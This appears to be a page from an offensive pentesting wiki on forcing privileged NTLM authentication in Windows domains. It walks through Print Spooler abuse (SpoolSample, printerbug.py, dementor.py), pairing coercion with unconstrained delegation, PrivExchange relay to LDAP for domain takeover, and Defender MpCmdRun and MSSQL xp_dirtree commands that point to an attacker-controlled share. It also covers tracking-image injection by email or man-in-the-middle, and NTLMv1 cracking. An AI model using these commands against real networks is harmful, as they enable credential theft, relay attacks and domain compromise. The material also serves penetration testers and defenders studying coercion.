# Force NTLM Privileged Authentication

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## SharpSystemTriggers [**SharpSystemTriggers**](https://github.com/cube0x0/SharpSystemTriggers) is a **collection** of **remote authentication triggers** coded in C# using MIDL compiler for avoiding 3rd party dependencies. ## Spooler Service Abuse If the _**Print Spooler**_ service is **enabled,** you can use some already known AD credentials to **request** to the Domain Controller’s print server an **update** on new print jobs and just tell it to **send the notification to some system**.\ Note when printer send the notification to an arbitrary systems, it needs to **authenticate against** that **system**. Therefore, an attacker can make the _**Print Spooler**_ service authenticate against an arbitrary system, and the service will **use the computer account** in this authentication. ### Finding Windows Servers on the domain Using PowerShell, get a list of Windows boxes. Servers are usually priority, so lets focus there: ```bash Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt ``` ### Finding Spooler services listening Using a slightly modified @mysmartlogin's (Vincent Le Toux's) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket), see if the Spooler Service is listening: ```bash . .\Get-SpoolStatus.ps1 ForEach ($server in Get-Content servers.txt) {Get-SpoolStatus $server} ``` You can also use rpcdump.py on Linux and look for the MS-RPRN Protocol ```bash rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN ``` ### Ask the service to authenticate against an arbitrary host You can compile[ **SpoolSample from here**](https://github.com/NotMedic/NetNTLMtoSilverTicket)**.** ```bash SpoolSample.exe ``` or use [**3xocyte's dementor.py**](https://github.com/NotMedic/NetNTLMtoSilverTicket) or [**printerbug.py**](https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py) if you're on Linux ```bash python dementor.py -d domain -u username -p password printerbug.py 'domain/username:password'@ ``` ### Combining with Unconstrained Delegation If an attacker has already compromised a computer with [Unconstrained Delegation](unconstrained-delegation.md), the attacker could **make the printer authenticate against this computer**. Due to the unconstrained delegation, the **TGT** of the **computer account of the printer** will be **saved in** the **memory** of the computer with unconstrained delegation. As the attacker has already compromised this host, he will be able to **retrieve this ticket** and abuse it ([Pass the Ticket](pass-the-ticket.md)). ## RCP Force authentication {% embed url="https://github.com/p0dalirius/Coercer" %} ## PrivExchange The `PrivExchange` attack results from a flaw in the Exchange Server `PushSubscription` feature, which allows **any domain user with a mailbox to force the Exchange server to authenticate** to any host provided by the client over HTTP. The Exchange service runs as **SYSTEM** and is **over-privileged** by default (i.e., has WriteDacl privileges on the domain pre-2019 Cumulative Update). This flaw can be leveraged to r**elay to LDAP and dump the domain NTDS database**. If we cannot relay to LDAP, this can be leveraged to relay and authenticate to **other hosts** within the domain. This attack will take you directly to Domain Admin with any authenticated domain user account. ****[**This technique was copied from here.**](https://academy.hackthebox.com/module/143/section/1276)**** ## Inside Windows If you are already inside the Windows machine you can force Windows to connect to a server using privileged accounts with: ### Defender MpCmdRun ```bash C:\ProgramData\Microsoft\Windows Defender\platform\4.18.2010.7-0\MpCmdRun.exe -Scan -ScanType 3 -File \\\file.txt ``` ### MSSQL ```sql EXEC xp_dirtree '\\10.10.17.231\pwn', 1, 1 ``` Or use this other technique: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce) ## HTML injection ### Via email If you know the **email address** of the user that logs inside a machine you want to compromise, you could just send him an **email with a 1x1 image** such as ```html ``` and when he opens it, he will try to authenticate. ### MitM If you can perform a MitM attack to a computer and inject HTML in a page he will visualize you could try injecting an image like the following in the page: ```html ``` ## Cracking NTLMv1 If you can capture [NTLMv1 challenges read here how to crack them](../ntlm/#ntlmv1-attack).\ _Remember that in order to crack NTLMv1 you need to set Responder challenge to "1122334455667788"_

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